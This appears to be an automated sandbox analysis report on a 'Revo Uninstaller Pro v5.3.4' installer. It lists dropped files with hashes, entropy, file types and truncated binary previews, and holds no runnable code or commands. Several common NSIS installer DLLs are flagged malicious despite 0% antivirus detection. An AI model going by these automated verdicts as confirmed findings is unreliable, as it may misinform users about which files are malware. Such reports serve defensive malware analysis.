SSDEEP:	192:ljHcQ0qWTlt7wi5Aj/lM0sEWD/wtYbBjpNQybC7y+XZqE0QPi:R/Qlt7wiij/lMRv/9V4bfr
MD5:	192639861E3DC2DC5C08BB8F8C7260D5
SHA1:	58D30E460609E22FA0098BC27D928B689EF9AF78
SHA-256:	23D618A0293C78CE00F7C6E6DD8B8923621DA7DD1F63A070163EF4C0EC3033D6
SHA-512:	6E573D8B2EF6ED719E271FD0B2FD9CD451F61FC9A9459330108D6D7A65A0F64016303318CAD787AA1D5334BA670D8F1C7C13074E1BE550B4A316963ECC465CDC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....C.f...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\modern-header.bmp

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PC bitmap, Windows 3.x format, 150 x 57 x 24, resolution 2835 x 2835 px/m, cbSize 25818, bits offset 54
Category:	dropped
Size (bytes):	25818
Entropy (8bit):	2.1654611461266877
Encrypted:	false
SSDEEP:	192:qfsz6YadoZ+HPwmWxS04WKWEFCidDIaThy:q0zDadRPNW0CICiyaThy
MD5:	414D457C540048704D144FB2A0D2BC73
SHA1:	5021B23ABACB37EDC3E099132A9FF83A0AD5E3E9
SHA-256:	B0537E5F4FE7E8FAC0C093BFB83E7F633EF4F8DA6649F73329EA1B2777956DE2
SHA-512:	C1B90F31950F3AC5CD65BDDCFCAEFB4A722EC6F91327437734FE05C8989004F2268662DF5631FDB6A6F23E28080BABCBCFBBE112F0EBB3B850D17395484FF355
Malicious:	false
Preview:	BM.d......6...(.......9.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\nsDialogs.dll

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	5.157714967617029
Encrypted:	false
SSDEEP:	96:ooEv02zUu56FcS817eTaXx85qHFcUcxSgB5PKtAtoniJninnt3DVEB3YMNqkzfFc:ooEvCu5e81785qHFcU0PuAw0uyyIFc
MD5:	B7D61F3F56ABF7B7FF0D4E7DA3AD783D
SHA1:	15AB5219C0E77FD9652BC62FF390B8E6846C8E3E
SHA-256:	89A82C4849C21DFE765052681E1FAD02D2D7B13C8B5075880C52423DCA72A912
SHA-512:	6467C0DE680FADB8078BDAA0D560D2B228F5A22D4D8358A1C7D564C6EBCEFACE5D377B870EAF8985FBEE727001DA569867554154D568E3B37F674096BBAFAFB8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|..c8O`08O`08O`08Oa0.O`0.@=05O`0llP0=O`0.If09O`0.od09O`0Rich8O`0........PE..L....C.f...........!.........0......g........0............................................@..........................6..k....0.......p...............................................................................0...............................text............................... ..`.rdata..{....0......................@..@.data...h!...@......................@....rsrc........p....... ..............@..@.reloc..~............"..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\nsExec.dll

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	5.295306975422517
Encrypted:	false
SSDEEP:	96:JgzdzBzMDhOZZDbXf5GsWvSv1ckne94SDbYkvML1HT1fUNQaSGYuHIDQ:JDQHDb2vSuOc41ZfUNQZGdHA
MD5:	11092C1D3FBB449A60695C44F9F3D183
SHA1:	B89D614755F2E943DF4D510D87A7FC1A3BCF5A33
SHA-256:	2CD3A2D4053954DB1196E2526545C36DFC138C6DE9B81F6264632F3132843C77
SHA-512:	C182E0A1F0044B67B4B9FB66CEF9C4955629F6811D98BBFFA99225B03C43C33B1E85CACABB39F2C45EAD81CD85E98B201D5F9DA4EE0038423B1AD947270C134A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,.................Rich...........................PE..L....C.f...........!......................... ...............................P............@..........................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..<.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsn5F06.tmp

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	data
Category:	dropped
Size (bytes):	174265447
Entropy (8bit):	6.912090216931223
Encrypted:	false
SSDEEP:	3145728:+tPWpEpfvoPWpEpOKKyPWpEpHldLPWpEpQ:+/vKKgldG
MD5:	A49C010EA61EBAC352464754FE53D710
SHA1:	A0023ABE96D6C4AB70EAE8BB51A88D1EFC841CB1
SHA-256:	4DDA9851A5EE98FEB3C219CBA4BF041A92E63AD9E514787D6CC21E0B9693BECA
SHA-512:	E43B163C0463966F53299CB74F035EB2BBEED92659A3BE1A66D25275DE893FF6CEAFC716F89EF328B21960D28242A25FD73C1029D8B3CF9E8AB2417617B42EDC
Malicious:	false
Preview:	.1......,.......l........B..p...................B1......................................................z...........?.......................................................................................................................................................................G...X...............................................................................................................................................g.......................m.......................................j.......................m.......................................................................................................f...........O...]...._..................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsnB704.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	285348
Entropy (8bit):	5.023570673811003
Encrypted:	false
SSDEEP:	3072:PUuiSzFf2FNF6iQraqoDDfbrH6ZgxkzStPpwGxqeujXj5Bif/Pa0A:cR6FfYCaqoDfb6mxk2LqHXj3if/Pa
MD5:	710A8AFD95641F3BED3A6C5326E16E9C
SHA1:	D0E6B03AC7220D70DAB93DD061ED7A2F39125D69
SHA-256:	3F64FAC5C5B6BB8E513B7139FA28663E8DBD0ECF9DB5267FD73C7720306005F7
SHA-512:	D108A118403C22FC55156075F3D5E48D99DDDE711FD993288197C99E8E997FA52862114BF43727F1A3A3C76837DE73FFED4C8A415879FDCDDFE995F0FA12FD15
Malicious:	false
Preview:	.p......,................A......._.......o......Pp.........................................................................."...................................................................................................................................................................................j.......................G...................................................................................................................%...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyB8DA.tmp\INetC.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	244224
Entropy (8bit):	5.312608585453437
Encrypted:	false
SSDEEP:	3072:NFf2FNF6iQraqoDDfbrH6ZgxkzStPpwGxqeujXj5Bif/Pa0A:NFfYCaqoDfb6mxk2LqHXj3if/Pa
MD5:	38F2B22967573A872426D05BDC1A1A70
SHA1:	ECAE471EB4E515E1006FCE645A82B70C8ACDA451
SHA-256:	83005624A3C515E8E4454A416693BA0FBF384FF5EA0E1471F520DFAE790D4AB7
SHA-512:	31BC78BB4EFC7C178C2C489B77D890B8806073180FBDD58156907C187CB73B0860701A9A2648DA1DA4930A8934C9A86B60EA5550315AFEBE833A681BCB4368E0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3..w...w...w...~.h.z...w...-...l(P.u...l(Q.v...l(`.v...l(a.v...l(f.v...Richw...................PE..L.....Eb...........!.....6...........C.......P...............................@............@.........................@`..l....X...........P...................0..L....................................................P...............................text....4.......6.................. ..`.rdata.......P.......:..............@..@.data...TX...p.......L..............@....rsrc....P.......R...\..............@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyB8DA.tmp\System.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.804946284177748
Encrypted:	false
SSDEEP:	192:ljHcQ0qWTlt7wi5Aj/lM0sEWD/wtYbBjpNQybC7y+XZqE0QPi:R/Qlt7wiij/lMRv/9V4bfr
MD5:	192639861E3DC2DC5C08BB8F8C7260D5
SHA1:	58D30E460609E22FA0098BC27D928B689EF9AF78
SHA-256:	23D618A0293C78CE00F7C6E6DD8B8923621DA7DD1F63A070163EF4C0EC3033D6
SHA-512:	6E573D8B2EF6ED719E271FD0B2FD9CD451F61FC9A9459330108D6D7A65A0F64016303318CAD787AA1D5334BA670D8F1C7C13074E1BE550B4A316963ECC465CDC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....C.f...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\VS Revo Group\Revo Uninstaller Pro\data\cachedata.dat

Download File

Process:	C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe
File Type:	data
Category:	dropped
Size (bytes):	14300
Entropy (8bit):	4.054813513864962
Encrypted:	false
SSDEEP:	192:OIVC/0+JPRZPXiPyNhyv2wBApVYO8Ng8nVTN9QNuD8:TRUDSPyNhyv2wBApVYO8NJpN9QNuD8
MD5:	A22BD0673821CB37754076B1A0516C66
SHA1:	0B00E3C47A8A6B2141B7D11CD572996481B0D172
SHA-256:	289C1968EA37774DA100912E5C7D71AD6454292722F4152899DF0F87F9F9D2AE
SHA-512:	E3110784FD815E97EA95ED5F70B37CE6C8A84A22377FCC0A1BF4F93F2CCFC67B5F49A15E29A7EB0AB7CC8EC14C57B193182EB660E306C0A99AC6573539A9B02B
Malicious:	false
Preview:	...@........H Wg.....................D.e....................d Wg.........E.e...........,........G.o.o.g.l.e. .C.h.r.o.m.e.........0.3...1.0...2.0.2.3........5C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e....*C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.....G.o.o.g.l.e. .C.h.r.o.m.e.....G.o.o.g.l.e. .L.L.C.....H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.....6.5.5...2.7. .M.B..D.(........".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.1.1.7...0...5.9.3.8...1.3.2.\.I.n.s.t.a.l.l.e.r.\.s.e.t.u.p...e.x.e.". .-.-.u.n.i.n.s.t.a.l.l. .-.-.c.h.a.n.n.e.l.=.s.t.a.b.l.e. .-.-.s.y.s.t.e.m.-.l.e.v.e.l. .-.-.v.e.r.b.o.s.e.-.l.o.g.g.i.n.g.....1.1.7...0...5.9.3.8...1.3.2............AS.O.F.T.W.A.R.E.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.C.u.r.r.e.n.t.V.e.r.s.i.o.n.\.U.n.i.n.s.t.a.l.l.\.G.o.o.g.l.e. .C.h.r.o.m.e....................../..........M.i.c.r.o.s.o.f.t. .E.d.g.e.....

C:\Users\user\AppData\Local\VS Revo Group\Revo Uninstaller Pro\logFile.vslog

Download File

Process:	C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	322
Entropy (8bit):	5.164336901833222
Encrypted:	false
SSDEEP:	6:qcdtvvjvAbIQ+q6s25YvtgEgXF1dkrCQHLBUwfjvAbIQ+q6s25YvtgEgXF1dkrCS:njvrvadft2XF1dkrCQHjvadft2XF1dkl
MD5:	8A248728B41394BB324D1D9CFC44819F
SHA1:	DA4829A2D50E4EA5650A971285A13E9CD7AB8F02
SHA-256:	0F02DF9B8CD720309A19EDCF74AEF9F98ED6B6B4119AA0206FF5F577F338A8BF
SHA-512:	336BA1CDEA89DFC1756BA3F50C3E77136B9128588960108098ACC4F8BD744A585A877A8D9D10931E67B7A7C3451C2FBCA1246A049AFC19A3C3F276E95842145C
Malicious:	false
Preview:	[09.12.2024 11:53:03.0955] (VSProjectPro.cpp 501) --- Starting (v.5.3.4) --- cmd line = "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe" /bc..[09.12.2024 11:53:17.0279] (VSProjectPro.cpp 501) --- Starting (v.5.3.4) --- cmd line = "C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe"..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3XOK41SN1MJ1N78RKOUV.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.732253116120412
Encrypted:	false
SSDEEP:	96:MppheZ3Cxk5EkvhkvCCtfcZLqHMcZLqHK:Mpphe4oAfcZLZcZL1
MD5:	F21D9CAD1CCE05F4E854AAF09D1E142C
SHA1:	772B73BF20E325DFC00D32F1F6393CC5B50C40E4
SHA-256:	D36764887F948DD1A5E98B45148179FAFD510154A633295C89BD2ECCE23668A4
SHA-512:	47269883A46E00BA10118287C8403C56A339C824284ACC82956055B2F3D1A0A8F0060641299D6672CA4752F34E2C68C030921E3C71DCC1560411024A8AAB4806
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....t!k.ZJ....d.ZJ......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......CW.^.Y................................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.Y............................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^DWT`.............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^.Y......................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......Y....Programs..j......CW.^.Y......................@.....x...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^.Y............................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BUPZK3GEINBL766QX88T.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7327369289585453
Encrypted:	false
SSDEEP:	96:MRphFZ3Cxk5EkvhkvCCtfcZLqHMcZLqHK:MRphF4oAfcZLZcZL1
MD5:	386DBC4C5744877132226A0E46DFB8B5
SHA1:	2C82A9C6FCBF3BA525FAD00A3BAE7C75BF1049F3
SHA-256:	9C37882AECABC10620771D8A094D004118A9708AA4D9609942A9F9292351935C
SHA-512:	106BF2A59E81D4A09AFCD7832B0992881799E6D7A81A69AF7BD055E1CD5D2775E9E7627AD233FA453F9E0AB1BE468B5C2A38A00B9A7845898F85BE5A0D0A0F94
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....t!k.ZJ..%..ZJ......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......CW.^.Y................................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.Y............................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^.Y...............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^.Y......................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......Y....Programs..j......CW.^.Y......................@.....x...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^.Y............................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WP2AA4APV2JKN8NXUBZ1.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7331588122722503
Encrypted:	false
SSDEEP:	96:MuphFZ3Cxk5EkvhkvCCtfcZLqHMcZLqHK:MuphF4oAfcZLZcZL1
MD5:	0EC491C41D4B065395C14A5BA488F682
SHA1:	5041AF0E4F0E497556B033C0DB5738F0BAD72759
SHA-256:	2DD83D2859E67F6E553BA06CFD39FE99C962BE1FDD424C9DE9EED30D0FA58A67
SHA-512:	17AF670DBEE99233BC96749E1D4A602ACBBED4E0DC7612451BA57094D9818D945FCDADCC0B1369D11BC0184378F19301847EAA5E6407A4D1B337C48EA8013818
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....t!k.ZJ...9..ZJ......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......CW.^.Y................................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.Y............................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^.Y...............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^.Y......................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......Y....Programs..j......CW.^.Y......................@.....x...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^.Y............................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.732253116120412
Encrypted:	false
SSDEEP:	96:MppheZ3Cxk5EkvhkvCCtfcZLqHMcZLqHK:Mpphe4oAfcZLZcZL1
MD5:	F21D9CAD1CCE05F4E854AAF09D1E142C
SHA1:	772B73BF20E325DFC00D32F1F6393CC5B50C40E4
SHA-256:	D36764887F948DD1A5E98B45148179FAFD510154A633295C89BD2ECCE23668A4
SHA-512:	47269883A46E00BA10118287C8403C56A339C824284ACC82956055B2F3D1A0A8F0060641299D6672CA4752F34E2C68C030921E3C71DCC1560411024A8AAB4806
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....t!k.ZJ....d.ZJ......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......CW.^.Y................................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.Y............................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^DWT`.............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^.Y......................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......Y....Programs..j......CW.^.Y......................@.....x...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^.Y............................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF4a4398.TMP (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.732253116120412
Encrypted:	false
SSDEEP:	96:MppheZ3Cxk5EkvhkvCCtfcZLqHMcZLqHK:Mpphe4oAfcZLZcZL1
MD5:	F21D9CAD1CCE05F4E854AAF09D1E142C
SHA1:	772B73BF20E325DFC00D32F1F6393CC5B50C40E4
SHA-256:	D36764887F948DD1A5E98B45148179FAFD510154A633295C89BD2ECCE23668A4
SHA-512:	47269883A46E00BA10118287C8403C56A339C824284ACC82956055B2F3D1A0A8F0060641299D6672CA4752F34E2C68C030921E3C71DCC1560411024A8AAB4806
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....t!k.ZJ....d.ZJ......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......CW.^.Y................................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.Y............................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^DWT`.............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^.Y......................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......Y....Programs..j......CW.^.Y......................@.....x...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^.Y............................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF4a7a39.TMP (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.732253116120412
Encrypted:	false
SSDEEP:	96:MppheZ3Cxk5EkvhkvCCtfcZLqHMcZLqHK:Mpphe4oAfcZLZcZL1
MD5:	F21D9CAD1CCE05F4E854AAF09D1E142C
SHA1:	772B73BF20E325DFC00D32F1F6393CC5B50C40E4
SHA-256:	D36764887F948DD1A5E98B45148179FAFD510154A633295C89BD2ECCE23668A4
SHA-512:	47269883A46E00BA10118287C8403C56A339C824284ACC82956055B2F3D1A0A8F0060641299D6672CA4752F34E2C68C030921E3C71DCC1560411024A8AAB4806
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....t!k.ZJ....d.ZJ......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......CW.^.Y................................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.Y............................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^DWT`.............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^.Y......................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......Y....Programs..j......CW.^.Y......................@.....x...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^.Y............................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Revo Uninstaller Pro\Revo Uninstaller Pro.lnk

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Mon Dec 2 03:58:00 2024, mtime=Mon Dec 9 15:53:06 2024, atime=Mon Dec 2 03:58:00 2024, length=25576112, window=hide
Category:	dropped
Size (bytes):	1158
Entropy (8bit):	4.487432544389539
Encrypted:	false
SSDEEP:	24:8msdJNXolNV9Af2KrNRUdo3qAWdo3oww3Bm:8msdJFolP2f2q7Udo3qdo3xwx
MD5:	818B1D6815C7B252054CD68D68FAE1BB
SHA1:	92C68470F778FB97C9B4E7146E236006150CCDE0
SHA-256:	CA1CA038AE12B5BD3E1B20A56FC613427760A88CF24833C2BD4C66A1F9958429
SHA-512:	F35217CD9E3A9050EF71ADB8A5AD8C0AEE624DB984719D9715A12639E4050791D325D3F936A5F71E441342AAC71D643AAED9ACD572CE2E0996464318D9FD9BB5
Malicious:	false
Preview:	L..................F.... ....<..vD..Bb..ZJ...<..vD...B...........................P.O. .:i.....+00.../C:\.....................1......Y....PROGRA~1..t......O.I.Y......B...............J.....\d..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....d.1......Y....VSREVO~1..L......Y...Y............................\d..V.S. .R.e.v.o. .G.r.o.u.p.....r.1......Y....REVOUN~1..Z......Y...Y......3.........................R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....l.2..B...Y@' .REVOUN~2.EXE..P......Y@'.Y................................R.e.v.o.U.n.i.n.P.r.o...e.x.e.......r...............-.......q....................C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe..[.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.V.S. .R.e.v.o. .G.r.o.u.p.\.R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.\.R.e.v.o.U.n.i.n.P.r.o...e.x.e.3.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.V.S. .R.e.v.o. .G.r.o.u.p.\.R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.`.......X..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Revo Uninstaller Pro\Uninstall Revo Uninstaller Pro.lnk

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Mon Dec 9 15:52:52 2024, mtime=Mon Dec 9 15:52:52 2024, atime=Mon Dec 9 15:52:52 2024, length=179964, window=hide
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	4.509616308195339
Encrypted:	false
SSDEEP:	12:8m4ICbYX1h9HBdpF4ItNXjN+f7hG2AelYYoYG+jAw4t2XF1dTMbdpmBhG2AwhGwu:8mHdJNXolngYbAN2VEdo3thLdo3oPBm
MD5:	01FADDBDE92BD12DB18204AF7B789E49
SHA1:	6B1F0BD2A41B285D28E1C7FC1764CAE46F29C028
SHA-256:	0B146127338CF15DA90B6706CD81A3774E56059193CC27723150146A92D2CEB7
SHA-512:	765DDF343F9A76114D1E14BA78AD51AF7628E51E758331D39B302CB6FC0EEAF1486F4D1621A2DC0CABD1D88CA4E928DF0D8672D36AEA66247F54E23AEEA71331
Malicious:	false
